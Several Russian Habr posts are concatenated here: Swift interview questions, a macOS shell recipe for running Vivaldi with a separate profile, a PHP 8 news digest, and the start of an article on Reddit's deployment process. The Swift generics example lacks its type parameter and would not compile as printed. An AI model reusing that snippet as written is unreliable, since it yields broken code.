Метод `init()` используется для инициализации экземпляра.
Инициализация означает подготовку экземпляра (класса, структуры или перечисления) к использованию.
В процессе инициализации вы устанавливаете начальные значения для каждого свойства экземпляра. Вы также можете выполнить некоторые другие подготовительные действия, прежде чем экземпляр будет готов к использованию.
### 15. Let и Var в Swift?
В **Swift** вы можете использовать **let** для создания константы (значения, которое нельзя изменить) и **var** для создания переменной (значения, которое может быть изменено позже).
Некоторые дополнительные подробности вы можете найти в этой [статье](https://www.codingem.com/let-vs-var-in-swift/).
### 16. Что такое plist?
**Plist**, или список свойств, - это словарь пар ключ-значение, которые используются для хранения данных в файловой системе вашего проекта. Например, **info.plist**.
### 17. Для чего нужны Protocols в Swift? Приведите пример.
[**Протокол**](https://www.codingem.com/swift-interview-questions/#:~:text=Give%20an%20Example-,A%20protocol,-is%20a%20code) действует как чертеж для свойств, методов и т.д. Он описывает, как должен вести себя тип, соответствующий ему.
Вы не можете создавать экземпляры протоколов. Скорее, вы можете сделать так, чтобы, например, класс соответствовал протоколу.
Вот пример протокола, описывающего животное:
```
protocol Animal {
var name: String { get set }
var color: String { get set }
func makeSound()
}
```
Давайте создадим классы `Cat` и `Dog`, которые оба соответствуют протоколу `Animal`. Таким образом, требуется, чтобы они оба реализовывали поведение, описанное в протоколе `Animal` - то есть переменные `name`, `color` и метод `makeSound()`:
```
class Cat: Animal {
var name = "Luna"
var color = "gray"
func makeSound() {
print("Meow!")
}
}
class Dog: Animal {
var name = "Charlie"
var color = "black"
func makeSound() {
print("Woof!")
}
}
```
### 18. Для чего нужен оператор вида «??» ?
Оператор двойного вопросительного знака `??` известен как оператор объединения (слияния) nil. Он возвращает значение в левой части, если оно не равно `nil`. Если левая часть равна `nil`, то возвращается значение в правой части.
Егоможно использовать как сокращение для проверки того, является ли опциональное значение `nil`. Например, вы можете заменить это:
```
var name: String?
if name != nil {
print(name)
} else {
print("N/A")
}
```
На это:
```
print(name ?? "N/A")
```
### 19. Для чего используется Guard?
Оператор `guard` используется для передачи управления программой за пределы области видимости. Оператор `guard` похож на оператор `if`, но он запускается только тогда, когда некоторые условия не выполняются.
Например, оператор `guard` используется для выхода из функции:
```
func myFun() {
guard false else {
print("This block is run")
return
}
print("This is never run")
}
myFun()
```
Вывод:
```
This block is run
```
Узнайте больше о ключевом слове `guard`, прочитав эту [статью](https://www.codingem.com/swift-guard/).
### 20. Каковы три основных типа коллекций в Swift?
* **Массивы**: Массив - это упорядоченная коллекция значений.
* **Наборы**: Набор - это неупорядоченная коллекция значений.
* **Словари**: Словарь - это неупорядоченная коллекция пар ключ-значение.
### 21. Для чего используется Defer в Swift?
Вы можете использовать метод `defer` для выполнения кода перед выходом из области видимости. В качестве примера, давайте напечатаем что-нибудь прямо перед завершением выполнения функции:
```
func printStuff() {
defer {
print("I some printed numbers and now I exit the scope")
}
print("4")
}
printStuff()
// Output:
// 4
// I some printed numbers and now I exit the scope
```
`Defer` обычно используется при открытии и закрытии контекста внутри области видимости - например, при доступе к файлам.
### 22. Можно ли поменять местами две переменные без третьей переменной-помощника?
Это классический вопрос на собеседовании Swift.
*Да, это возможно.*
С помощью [tuple destructuring](https://www.codingem.com/swift-destructuring-tuples/) вы можете решить проблему следующим образом:
```
var a = 1
var b = 2
(a, b) = (b, a)
```
### 23. В чем разница между структурами и классами?
* Структуры - это типы значений, в то время как классы - ссылочные типы.
* Структуры не поддерживают наследование, а классы поддерживают.
* В классе мы можем создать экземпляр с помощью ключевых слов `let` и попытаться изменить его свойство, в то время как в структурах такой возможности нет.
* Структуры не поддерживают приведение типов, а классы поддерживают.
### 24. Что такое необязательная цепочка (Optional Chaining) ?
Необязательная цепочка означает, что вы можете безопасно вызвать свойство чего-то, что может быть `nil`.
`Optional chaining` работает, как следует из названия, путем объединения одного или нескольких необязательных значений с помощью оператора со знаком вопроса `?`, например, так:
```
something?.someValue?.someMethod()
```
Если `nil` встречается в любой точке вышеприведенной цепочки, приложение не крашится - вместо этого возвращается `nil`.
### 25. Что такое опциональное связывание (optional binding) ?
Опциональное связывание проверяет, содержит ли опция значение или нет. Если опция имеет значение, опциональное связывание делает это значение временно доступным:
Например, следующий код проверяет, является ли имя `nil` или нет. Если нет, то создается временная константа `realName` и ей присваивается значение `name`.
```
var name: String? = "Charles"
if let realName = name {
print (realName)
}
```
Вывод:
```
Charles
```
### 26. Объясните архитектуру MVC
**MVC (Model-View-Controller)** - это программная архитектура для разработки приложений для iOS. Это одна из фундаментальных концепций разработки приложений для iOS.
Множество iOS-фреймворков используют MVC.
Идея MVC заключается в передаче данных из одного места в другое. Это означает, что любой объект попадает в одну из этих трех категорий:
* **Model:** Модель представляет данные приложения. Она хранит информацию, например, товары в магазине. Модель управляет состоянием приложения.
* **View:** Вью отвечает за отображение и взаимодействие с пользовательским интерфейсом. Например, вью отображает таблицу товаров для пользователя вашего приложения.
* **Controller:** Контроллер - это то, что склеивает модель и представление. Он отвечает за управление логикой, которая происходит между ними.
### 27. Что такое параметр In-Out в Swift?
Параметр [inout](https://www.codingem.com/2021/04/07/swift-what-is-inout/) позволяет изменять значение параметра внутри функции.
Чтобы сделать параметр in-out, используйте ключевое слово `inout` перед типом параметра.
Чтобы передать переменную в качестве in-out, используйте `&` перед ее именем.
Например:
```
func change(_ number: inout Int){
number = 2
}
var number = 1
change(&number)
print(number)
// Output:
// 2
```
Здесь можно прочитать подробнее о параметрах [inout](https://www.codingem.com/swift-what-is-inout/).
### 28. Что такое tuple? Продемонстрируйте, как работать с ними
`Tuple` (кортеж) - это значение, которое можно использовать для объединения нескольких значений вместе, например, в виде пары.
Значения `tuple` не обязательно должны быть одного типа.
Вы можете создать `tuple`, разделив значения запятыми внутри круглых скобок.
Например:
```
var coordinates3D = (1.0, 2.0, 5.0)
```
Чтобы получить доступ к значению внутри tuple, используйте точечную нотацию и индекс:
```
let xPos = coordinates3D.0
```
Кортежи также могут быть созданы таким образом, чтобы каждое значение имело имя:
```
var coordinates3D = (x: 1.0, y: 2.0, z: 5.0)
```
В этом случае вы можете получить доступ к определенному значению кортежа по его имени:
```
let xPos = coordinates3D.x
```
### 29. Что такое Swift Messages?
Swift Messages - это библиотека, используемая для отображения сообщений в виде строки состояния в верхней или нижней части экрана устройства iOS.
### 30. Можно ли задать параметру функции значение по умолчанию?
Можно задать [значение по умолчанию](https://medium.com/codex/swift-upgrade-your-skills-with-these-8-tips-da612111668#:~:text=there%20is%20a%20simple%20way%20to%20give%20a%20default%20value%20to%20a%20parameter:) для параметра:
```
func eat(food: String = "spaghetti") {
print("Yum! I ate some good \(food).")
}
```
### 31. Что такое дженерики? Приведите пример использования дженериков
Дженерики позволяют писать гибкий и многократно используемый код, который может работать с любым типом данных.
Представьте, что вы пишете трехмерную векторную структуру, но хотите иметь возможность создавать векторы, используя целые, плавающие и двойные числа. Вы определенно не хотите писать один и тот же код для каждого типа данных отдельно.
Именно здесь вы можете использовать дженерики.
Например, вы можете создать общий тип для параметров (для представления любого типа), используя букву, например `T`, следующим образом:
```
struct Vec3D {
let x, y, z: T
init(x: T, y: T, z: T) {
self.x = x
self.y = y
self.z = z
}
}
let intVector = Vec3D(x: 1, y: 2, z: 5)
let floatVector = Vec3D(x: 1.0, y: 2.0, z: 5.0)
```
### 32. Чем будет свойство pounds в следующем примере?
```
class Weight {
var kilograms: Float = 0.0
var pounds: Float {
get {
return (kilograms * 2.205)
}
set(newWeight) {
kilograms = newWeight / 2.205
}
}
}
let weight = Weight()
weight.kilograms = 100
print(weight.pounds) // prints '220.5'
weight.pounds = 315
print(weight.kilograms) // prints '142.85715'
```
ОтветСвойство `pounds` также известно как [*вычисляемое свойство*](https://medium.com/codex/getters-and-setters-in-swift-79a46e9401a0).
В Swift вычисляемые свойства *не хранятся в объекте*. Вычисляемое свойство означает, что его значение вычисляется "по требованию" только при попытке доступа к нему. Вы можете создавать вычисляемые свойства с помощью методов `get` и (необязательно) `set`.
* Метод `get` выполняет вычисление "по требованию", когда вызывается `weight.pounds`.
* Метод `set` обновляет `килограммы`, когда обновляются `фунты`. (Обратите внимание, что метод `set` является необязательным, и вам не нужен такой метод для создания вычисляемого свойства).
### 33. В чем разница между операторами == и ===?
* `==` - оператор равенства.
* `===` - оператор тождества.
Оператор равенства `==` используется для проверки равенства двух типов `Equatable`:
```
"Hello" == "Hello"
10.0 == 5.0 + 5.0
```
Оператор тождества `===` может быть использован для проверки идентичности двух классов, т.е. указывают ли они на один и тот же адрес памяти. Рассмотрим пример:
```
class Fruit {
var name = "Banana"
}
let fruit1 = Fruit()
let fruit2 = fruit1 // fruit2 now points to same address as fruit
fruit1 === fruit2 // true
```
Узнайте больше о разнице между `==` и `===`[**здесь**](https://www.codingem.com/vs-in-swift/)**.**
### 34. Что такое расширения?
В Swift вы можете использовать расширения для добавления функциональности к существующему типу.
В Swift вы можете создать расширение с помощью ключевого слова `extension`:
```
extension SomeExistingType {
// add new functionality here
}
```
### 35. Что такое вложенная функция?
Вложенная функция - это комбинация функции внутри функции:
```
func outer() {
func inner() {
// Do something here
}
}
```
### 36. Как создать базовый класс в Swift?
Вы можете создать базовый класс, просто определив класс без суперкласса.
### 37. Что такое Force Unwrapping (принудительное разворачивание) ? Когда его следует использовать?
**Force Unwrapping** (принудительное разворачивание) пытается преобразовать опциональное значение в значение независимо от того, содержит оно значение или нет.
Принудительное разворачивание небезопасно, потому что если опция `nil` и вы попытаетесь ее развернуть, это вызовет ошибку, которая приведет к краху приложения. Таким образом, ее следует избегать, если вы не уверены на 100%, что опция не является `nil`.
### 38. Перечислите преимущества функций высшего порядка.
* Они обеспечивают гибкость.
* Они полезны в асинхронных вызовах, где обычные функции не могут быть использованы.
* Иногда они улучшают качество кода и делают его короче и лаконичнее.
### 39. Fileprivate vs Private?
* Свойство `fileprivate` может быть прочитано в любом месте того же файла Swift, но не за его пределами.
* Свойство `private` можно прочитать только внутри типа, в котором оно было объявлено (а также в расширениях этого типа в том же файле).
Подробнее о private и `fileprivate`[**здесь**](https://www.codingem.com/fileprivate-vs-private-swift/)**.**
### 40. Какие функции есть в Swift?
Функция позволяет определять многократно используемые блоки кода. Функция может выполнять задачу, которая является частью вашей программы.
Обычно функции принимают некоторые значения, с которыми они могут работать.
### 41. Nil vs None в Swift?
Между ними нет разницы:
```
nil == .none // returns true
```
Пожалуй, единственное "отличие" заключается в том, что использование `nil` встречается чаще, чем использование `none`.
### 42. Что такое dictionary (словарь) в Swift?
Словарь - это основной тип коллекции в Swift. Он может использоваться для хранения пар ключ-значение.
Вы можете легко получить доступ к значению, зная ключ:
```
let dict = ["a": 1, "b": 2]
let valueOfA = dict["a"]
```
### 43. Что делает ключевое слово Mutating?
Вы можете использовать ключевое слово `mutating`, чтобы разрешить изменение свойств структуры в методе, пометив этот конкретный метод `mutating`.
Например:
```
struct Fruit {
var type: String
mutating func convertToBanana() {
self.type = "Banana"
}
}
var fruit = Fruit(type: "Apple")
fruit.convertToBanana()
print(fruit.type) // prints "Banana"
```
По умолчанию это невозможно для [типов значений](https://www.codingem.com/swift-interview-questions/#:~:text=not%20possible%20for-,value%20types%C2%A0,-(structures%20and%20enumerations) (структур и перечислений), но возможно для [ссылочных типов](https://www.codingem.com/swift-interview-questions/#:~:text=is%20possible%20for-,reference%20types,-(classes).) (классов).
### 44. Можете ли вы устранить проблему в этом коде?
Приведенный ниже код выдает ошибку компилятора. Что не так? Как вы можете это исправить?
```
struct Apple {}
func pick(apple: Apple?) {
guard let apple = apple else {
print("No apple found!")
}
print(apple)
}
```
ОтветБлок `else` оператора `guard` требует выходной путь.
Вы можете, например, использовать `return`, чтобы предоставить ему такой вариант:
```
struct Apple {}
func pick(apple: Apple?) {
guard let apple = apple else {
print("No apple found!")
return
}
print(apple)
}
```
### 45. Что такое Deinitializer (деинициализатор) ? Как его создать?
Деинициализатор запускается до того, как экземпляр класса будет деаллоцирован.
Вы можете создать деинициализатор, используя ключевое слово `deinit`.
Этот метод полезен только в том случае, если вам нужно сделать некоторую уборку перед деаллокацией экземпляра класса. В большинстве случаев достаточно позволить Swift сделать это автоматически от вашего имени.
Вот пример деинициализатора, который устанавливает `number` обратно в 0 при деаллокации экземпляра `Example`.
```
var number = 15
class Example {
init() {
number *= 10
}
deinit {
number = 0
}
}
```
### 46. В чем разница между функциями и методами?
Между функцией и методом есть небольшая разница. Оба являются многократно используемыми фрагментами кода, однако методы принадлежат классам, структурам или перечислениям, а функции - нет.
### 47. Как запретить наследование класса?
Сделать класс конечным, используя ключевое слово `final`. Например:
```
final class Animal {
let name = "I'm a furry animal"
}
```
Подробнее о преимуществах final можно прочитать[**здесь**](https://www.codingem.com/swift-final-class/)**.**
### 48. Что такое Lazy Variables (ленивые переменные)? Когда их следует использовать?
Начальное значение ленивой переменной вычисляется при первом обращении к ней. Ленивые переменные можно использовать для оптимизации кода, не выполняя ненужную работу раньше времени.
Например:
```
lazy var tallest: Person? = {
return people.max(by: { $0.height < $1.height })
}()
```
Чтобы узнать больше о lazy, ознакомьтесь с этой [статьей](https://www.codingem.com/swift-lazy-variables/).
### 49. Что такое (autoclosure) автозамыкание в Swift? Как и когда его следует использовать?
[Автозамыкание](https://medium.com/codex/swift-demystifying-autoclosures-dc106e4bc04a) оборачивает аргумент функции в замыкание.
Когда вызывается autoclosure, оно возвращает значение выражения, завернутого внутрь.
Автозамыкание - это не что иное, как синтаксическое удобство для написания более чистого кода.
Иногда синтаксически удобно использовать `autoclosure` при работе с функцией, которая принимает аргумент замыкания.
Это происходит потому, что `autoclosure` позволяет не использовать фигурные скобки `{}`.
Это может сделать код более читабельным.
Однако помните, что [Apple говорит об использовании автозамыканий](https://docs.swift.org/swift-book/LanguageGuide/Closures.html) :
> Обычно принято вызывать функции, которые принимают `autoclosure`, но не принято реализовывать такого рода функции.
>
>
Вот пример того, как `autoclosure` упрощает код. В первом фрагменте используется обычное замыкание, а во втором - `autoclosure`. Посмотрите, как вызов функции `I_will` стал более читабельным во втором фрагменте:
```
func I_will(_ perform_action: () -> Void) {
perform_action()
}
I_will({
print("Hello, world!")
})
```
```
func I_will(_ perform_action: @autoclosure () -> Void) {
perform_action()
}
I_will(print("Hello, world"))
```
Как видите, вызов функции `I_will` больше не требует использования фигурных скобок.
### 50. Чего не хватает в этом фрагменте кода?
```
enum Example {
case something(Int, Example)
}
```
ОтветВ Swift можно создавать рекурсивные перечисления, подобные приведенным выше. Ниже приведен абстрактный пример - однако использование рекурсивных перечислений по умолчанию отключено, вам необходимо включить его с помощью ключевого слова `indirect`:
```
enum Example {
indirect case something(Int, Example)
}
```
### Заключение
Это большое количество вопросов для собеседования по Swift.
Спасибо, что прочитали. Надеюсь, вы найдете их полезными, и они помогут вам найти работу вашей мечты!
**[UPDATE]** - [дополнение к статье](https://habr.com/ru/post/659169/#comment_24236743) от пользователя **XanKraegor.**
Если вам понравилась статья, то [подписывайтесь](https://t.me/iOS_Career), тут я делюсь историями о разработке. | https://habr.com/ru/post/659169/ | null | ru | null |
# Запускаем несколько копий Vivaldi в OSX
Всем привет!
Мы еженедельно выпускаем новые тестовые версии браузера Vivaldi, а для возможности сравнить несколько сборок было бы полезно иметь возможность устанавливать их параллельно на одну машину. Особенно это актуально для пользователей Mac OSX, т.к. они поставлены в наиболее стеснённые условия в плане свободы своих желаний. Итак, сегодня мы расскажем, как устанавливать несколько копий Vivaldi в Mac OSX, а для других операционных систем советы опубликуем в ближайшее время.
По умолчанию все копии браузера Vivaldi в OSX сохраняют свои настройки (и весь профиль) в одном и том же месте, что делает процесс тестирования очередной сборки в чистом виде (без обновления прежней версии) затруднительным. Также такое поведение может вам помешать использовать сравнительно стабильную бета-версию одновременно с тестовой сборкой.
В Windows эта проблема решается выбором при установке режима «Standalone» для сборок, которые вы хотите потестировать отдельно. Аналогичный способ доступен и пользователям Mac OSX. Правда, для этого вам нужно вместо установки Vivaldi обычным способом создать небольшое приложение, которое позволит контролировать, где Vivaldi будет хранить настройки и профиль. Для этого запустите **Terminal** и выполните следующие шаги:
```
mkdir -p Standalone\ Mode.app/Contents/MacOS
printf '#!/bin/sh\nopen -a "${0%%/*.app/*}"/[!\(Standalone\)]*.app --args --user-data-dir="${0%%/*.app/*}/profile"\n' > Standalone\ Mode.app/Contents/MacOS/Standalone\ Mode
chmod +x Standalone\ Mode.app/Contents/MacOS/Standalone\ Mode
```
Теперь у вас появилось приложение под названием «Standalone Mode», сохранённое в папке, из которой запущен **Terminal** — вы можете проверить, где эта папка находится с помощью **pwd** или открыв эту папку прямо из **Finder**, используя "**open .**".
Для того, чтобы начать использовать новое приложение, переместите «Standalone Mode» и устанавливаемую версию Vivaldi в пустую папку. Теперь вы сможете запустить браузер двойным кликом по «Standalone Mode», при этом все настройки и пользовательские данные будут сохраняться в подкаталоге «profile» в этой же папке, а не в профиле по умолчанию.
Также вы можете переместить приложение «Standalone Mode» и Vivaldi на USB накопитель (HFS+ formatted), тем самым создав портабельную версию браузера, которую можно будет переносить с компьютера на компьютер.
Для тех пользователей Mac, кто привык постоянно использовать **Terminal**, можно предложить скрипт, [размещённый на GitHub](https://gist.github.com/ruario/0e4f90caa59a390c4a56), который позволит автоматизировать вышеописанный процесс.
P.S. В следующий раз мы расскажем, как сделать аналогичную установку в Linux. | https://habr.com/ru/post/274969/ | null | ru | null |
# PHP-Дайджест № 183 (22 июня – 5 июля 2020)
[](https://habr.com/ru/post/509738/)*Фото [James Titcumb](https://twitter.com/asgrim)*
Свежая подборка со ссылками на новости и материалы. В выпуске все про PHP 8: первая альфа, новое выражение `match`, баг в синтаксисе `@@` для атрибутов, реальные бенчмарки JIT, 4 новых предложения. И, как всегда, инструменты, статьи, видео и подкасты.
Приятного чтения!
### Новости и релизы
* **[PHP 8.0 alpha 1](https://www.php.net/archive/2020.php#2020-06-25-1)** — Вышла первая альфа-версия новой ветки PHP! Впереди [полугодовой цикл](https://wiki.php.net/todo/php80) тестирования с финальным выпуском в конце ноября.
Основные [новые возможности](https://wiki.php.net/rfc#php_80):
+ [объединенные типы](https://php.watch/versions/8.0#union-types);
+ [JIT](https://habr.com/ru/company/otus/blog/509598/);
+ [атрибуты](https://php.watch/articles/php-attributes);
+ [объявление свойств в конструкторе](https://php.watch/versions/8.0/constructor-property-promotion);
+ новый тип [mixed](https://php.watch/versions/8.0#mixed-type).
Полные обзоры что нового в PHP 8 [тут](https://php.watch/versions/8.0) и [тут](https://stitcher.io/blog/new-in-php-8). Пощупать можно на [3v4l.org](https://3v4l.org/) или используя уже готовые [Docker-образы](https://hub.docker.com/_/php?tab=tags&page=2).
* [`CurlHandle` class objects replace curl handlers](https://php.watch/versions/8.0/resource-CurlHandle) — Еще, одной из долгосрочных целей PHP является отход от использования типа resource и вместо этого переход на классы/объекты. В PHP 8 привычные функции curl\_ уже переделаны и вместо ресурса оперируют объектом класса `\CurlHandle`.
* **О производительности JIT в PHP 8** — После [твита](https://twitter.com/IvanChepurnyi/status/1276576154254786561) о феноменальном приросте производительности с JIT многие в сообществе засомневались в результатах бенчмарка и провели свои.
Derick Rethans [показал](https://derickrethans.nl/a-quick-look-at-jit.html), что JIT дает хороший прирост на коде, который поддается оптимизации, но все равно это не сравнимо с чистой реализацией на C. Brent Roose [попробовал](https://stitcher.io/blog/jit-in-real-life-web-applications) на веб-приложениях и ожидаемо прирост в них минимальный.
Benjamin Eberlei подготовил инструкцию о том, [как вообще тестировать с JIT](https://beberlei.de/2020/07/05/what_to_look_out_for_when_testing_php_jit.html) и на что обращать внимание.
* **[Открытое собеседование — ищем участников](https://t.me/phpdigest/160)** — Вместе с [Валентином Удальцовым](https://twitter.com/vudaltsov) скоро проведем собеседование в формате стрима. Прием заявок на участие заканчивается 8 июля.
### PHP Internals
*  **[[RFC] Shorter Attribute Syntax](https://wiki.php.net/rfc/shorter_attribute_syntax)** — На голосовании по новому синтаксису для атрибутов победил вариант `@@`.
Позже выяснилось, что этот синтаксис может трактоваться неоднозначно, а в реализации использовался хак, чтобы обойти проблему и об этом не было упомянуто в предложении.
Двусмысленность вот такая: `function(@@X \ Y $z)` может быть интерпретирован как `function(@@X\Y $z)` (атрибут `X\Y` и без типа) или `function(@@X \Y $z)` (атрибут `X` и `\Y` тип параметра). Потому что PHP допускает пробелы вокруг разделителя неймспесов.
К счастью для поклонников синтаксиса `@@`, Никита [нашел способ](https://externals.io/message/110640#110819) решить проблему, если будет принято предложение [[RFC] Treat namespaced names as single token](https://wiki.php.net/rfc/namespaced_names_as_token).
*  **[[RFC] Match expression v2](https://wiki.php.net/rfc/match_expression_v2)** — В PHP 8 будет доступно новое выражение `match`, которое работает по смыслу как `switch`, но при этом имеет проверку на тип и возможность возвращать значение.
```
// Вот так работает switch:
switch ('foo') {
case 0:
$result = "Oh no!\n";
break;
case 'foo':
$result = "This is what I expected\n";
break;
}
echo $result;
//> Oh no!
// То же самое на match:
echo match ('foo') {
0 => "Oh no!\n",
'foo' => "This is what I expected\n",
};
//> This is what I expected
```
* **[[RFC] Allow trailing comma in closure use lists](https://wiki.php.net/rfc/trailing_comma_in_closure_use_list)** — Предлагается разрешить опциональную запятую в конце списка `use` у замыканий по аналогии с тем, как уже сделано для аргументов и параметров функций.
**Скрытый текст**
```
$longArgs_longVars = function (
$longArgument,
$longerArgument,
$muchLongerArgument, // Здесь запятая в PHP 8.0 уже разрешена
) use (
$longVar1,
$longerVar2,
$muchLongerVar3 // А вот здесь предлагается добавить
) {
// body
};
```
* **[[RFC] Property write/set visibility](https://wiki.php.net/rfc/property_write_visibility)** — В этом документе предлагается сделать возможным указание двух модификаторов доступа для свойств: отдельно на чтение и запись. И есть два варианта синтаксиса:
```
// Syntax Option A
class User {
public:private int $id;
public:protected string $name;
}
// Syntax Option B
class User {
public private(set) int $id;
public protected(set) string $name;
}
```
Судя по [треду](https://externals.io/message/110768), что-то подобное будет, но уже в PHP 8.1, потому что требуется больше времени для обсуждения нюансов и пересечений с другими RFC, например, полноценными [аксессорами](https://wiki.php.net/rfc/propertygetsetsyntax-v1.2), [ридонли свойствами](https://wiki.php.net/rfc/write_once_properties), [иммутабельными классами](https://wiki.php.net/rfc/immutability).
* **[[RFC] Language Constructs Syntax Changes](https://wiki.php.net/rfc/language-constructs-syntax-changes)** — Поскольку `declare` и `__halt_compiler` — это не функции, а языковые конструкции, по типу как `echo`, то предлагается разрешить вызывать их без скобок.
```
declare(strict_types=1);
// =>
declare strict_types = 1;
```
* **[[RFC] Saner numeric strings](https://wiki.php.net/rfc/saner-numeric-strings)** — В этом RFC предлагается сделать два изменения по части обработки строк с числами.
Во-первых, избавиться от концепции «строки, начинающейся с цифр». Например в таком случае `echo '2str' + 2;` результат будет не 4, а 2 и вместо `E_NOTICE “A non well formed numeric value encountered”` будет брошен `E_WARNING “A non-numeric value encountered”`.
И во-вторых, разрешить пробельные символы в конце числовых строк, то есть чтоб `"123 " == " 123"` было `true` и все прочие операции работали, как и для строк с начальными пробелами.
### Инструменты
* [Guzzle 7](https://github.com/guzzle/guzzle) — Свежий релиз самого известного HTTP-клиента для PHP. Теперь клиент реализует стандарт [PSR-18](https://www.php-fig.org/psr/psr-18/), минимальная версия PHP 7.2, добавлены тайпхинты.
* [deligoez/xDebug-Toggler](https://github.com/deligoez/xDebug-Toggler) — Приложение для macOS для быстрого включения/выключения Xdebug.
* [denisyukphp/tmpfile-manager](https://github.com/denisyukphp/tmpfile-manager) — Менеджер временных файлов. Умеет закрывать ресурсы, автоматически или вручную очищать временные файлы, запускать свой сборщик мусора. Прислал [@jebox](https://twitter.com/jebox).
* [php-aidc/label-printer](https://github.com/php-aidc/label-printer) — Библиотека для работы с принтерами этикеток с поддержкой языков Fingerprint, Direct Protocol, TSPL/TSPL2. Прислал [jhaoda](https://habr.com/ru/users/jhaoda/).
### Symfony
* [EasyAdmin 3](https://github.com/EasyCorp/EasyAdminBundle) — Обновление генератора админок для Symfony-приложений.
* [ferrius/ddd-cqrs-example](https://github.com/ferrius/ddd-cqrs-example) — Пример реализации принципов CQRS, DDD, ADR и гексагональной архитектуры на Symfony 5 и PHP 7.4.
* [Неделя Symfony #705 (29 июня — 5 июля 2020)](https://symfony.com/blog/a-week-of-symfony-705-29-june-5-july-2020)
*  [10 советов по тестированию в Symfony](https://habr.com/ru/company/mailru/blog/508376/).
*  [[Symfony 5] Раздельная авторизация для админов и пользователей с двумя разными сущностями и формами входа](https://habr.com/ru/post/508936/).
*  [Простое управление ACL в Symfony](https://habr.com/ru/company/otus/blog/508424/).
### Laravel
* [Laravel Worldwide Meetup](https://meetup.laravel.com/) — Первый выпуск онлайн-митапа Laravel пройдет 14 июля в 21:00 UTC+3.
*  [Laravel Idea 3.1](https://plugins.jetbrains.com/plugin/13441-laravel-idea) — В новой версии плагина для PhpStorm добавлена поддержка [Livewire](https://laravel-livewire.com/) и [nWidart/laravel-modules](https://github.com/nWidart/laravel-modules).
* [scil/LaravelFly](https://github.com/scil/LaravelFly) — Пакет позволяет запускать Laravel на Swoole. Автор заверяет, что можно запускать один и тот же код и на PHP-FPM и на Swoole. Есть [сравнение](https://github.com/scil/LaravelFly#similar-projects-that-mix-swoole-and-laravel) с другими подобными реализациями.
*  [Решение проблемы N+1 запроса без увеличения потребления памяти в Laravel](https://habr.com/ru/post/508544/).
*  [Laravel-Дайджест (29 июня – 5 июля 2020)](https://habr.com/ru/post/509662/)
* Отличный совет от Тейлора применим не только к Laravel:
> Furthermore, searching for the "one true way" to build a Laravel application can be a very subtle form of procrastination you should be aware of and monitor yourself for. Within reason.
>
> — Taylor Otwell (@taylorotwell) [June 24, 2020](https://twitter.com/taylorotwell/status/1275874807805067266?ref_src=twsrc%5Etfw)
### Async PHP
* [amphp/websocket-server 2.0](https://github.com/amphp/websocket-server) — Вебсокет сервер на базе [Amp](https://amphp.org/).
* [clue/reactphp-buzz](https://github.com/clue/reactphp-buzz/releases/tag/v2.9.0) — Простой в использовании асинхронный HTTP-клиент.
### Материалы для обучения
* [Путешествие в поисках утечки памяти](https://jolicode.com/blog/a-journey-to-find-a-memory-leak) — Как и где можно искать утечки, когда `memory_get_usage()` ничего не показывает.
* [Как использовать PHP FFI в программировании](https://spiralscout.com/blog/how-to-use-php-ffi-in-programming).
* [0xbigshaq/php7-internals](https://github.com/0xbigshaq/php7-internals) — Репозиторий с подборкой уязвимостей в PHP, объяснением почему так происходит и как они эксплуатируются.
* [Как будет выглядеть программирование в 2025?](https://tomasvotruba.com/blog/2020/06/29/how-will-programming-look-like-in-2025/)
* [Что делает max\_execution\_time?](https://aivis.dev/php-max-execution-time-explained)
* [Настраиваем Xdebug и PhpStorm для Symfony](https://www.strangebuzz.com/en/blog/step-by-step-debugging-with-xdebug-symfony-and-phpstorm).
*  [Дебажим PHP-контейнер с помощью Xdebug и PhpStorm](https://habr.com/ru/company/otus/blog/507982/).
*  [Как быть, когда все советуют растащить проект на микросервисы, а ты не готов](https://habr.com/ru/company/skyeng/blog/508286/).
*  [Если вы используете моки, то вы хоть что-то тестируете?](https://habr.com/ru/company/mailru/blog/508254/)
### Аудио/Видео
*  [Настройка отладки с Xdebug, PhpStorm и Laravel в Docker](https://vimeo.com/433218463) — От автора Xdebug Derick Rethans.
*  Видео Пятиминутка PHP: [Про PhpStorm на macOS Metal](https://www.youtube.com/watch?v=T0CShIFwyRw).
*  Видео Пятиминутка PHP: [25 лет PHP — история развития в наглядной инфографике](https://www.youtube.com/watch?v=FZ-3Qc89PEY).
*  [Несколько видео с PHP fwdays 2020](https://www.youtube.com/user/fwdays/videos)
*  [Как готовить код-ревью](https://www.youtube.com/watch?v=JP7lppzWaLg): обсуждаем плохие и хорошие практики с Константином Буркалевым, Антоном Моревым, Сергеем Жуком и Александром Макаровым.
*  [MoreView #11](https://www.youtube.com/watch?v=KvTQWv0phgE) — Интервью со мной про дайджесты, PHP, JetBrains.
*  [Интервью Александром Макаровым](https://www.youtube.com/watch?v=TI5Bl2tw4Ks) про OpenSource, Yii 3 и всякое.
*  [Serverless Chats Podcast #55](https://www.youtube.com/watch?v=H8tkZcjQxOA) — C Mathew Napoli автором [Bref](https://github.com/brefphp/bref) о серверлесс PHP.
*  [PHP Internals News #60](https://phpinternals.news/60) — C Eliot Lear о поддержке новых криптографических функций согласно RFC-5652 в PHP 8.
*  [PHP Internals News #59](https://phpinternals.news/59) — C Никитой Поповым об [именованных параметрах](https://wiki.php.net/rfc/named_params), которые он в скором времени планирует выставить на голосование для PHP 8.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 182](https://habr.com/ru/post/507636/) | https://habr.com/ru/post/509738/ | null | ru | null |
# Эволюция подхода к развертыванию кода в Reddit

*Нам, в команде платежного блокчейн-сервиса [Wirex](https://wirexapp.com/ru/), на собственном опыте знакома необходимость постоянной доработки и совершенствования существующего технологического решения. Автор материала, приведенного ниже, рассказывает об истории эволюции развертывания кода известной социальной новостной платформы Reddit.*
> «Важно следить за направлением своего развития, чтобы иметь возможность вовремя направить его в полезное русло».
Команда Reddit постоянно развертывает код. Все члены команды разработки регулярно пишут код, который перепроверяется самим автором, проходит проверку со стороны, чтобы после отправиться в «продакшн». Еженедельно мы делаем не менее 200 «деплоев», каждый из которых обычно занимает в общей сложности менее 10 минут.
Система, которая обеспечивает все это, развивалась на протяжении многих лет. Давайте посмотрим, что изменилось в ней за все это время, а что осталось неизменным.
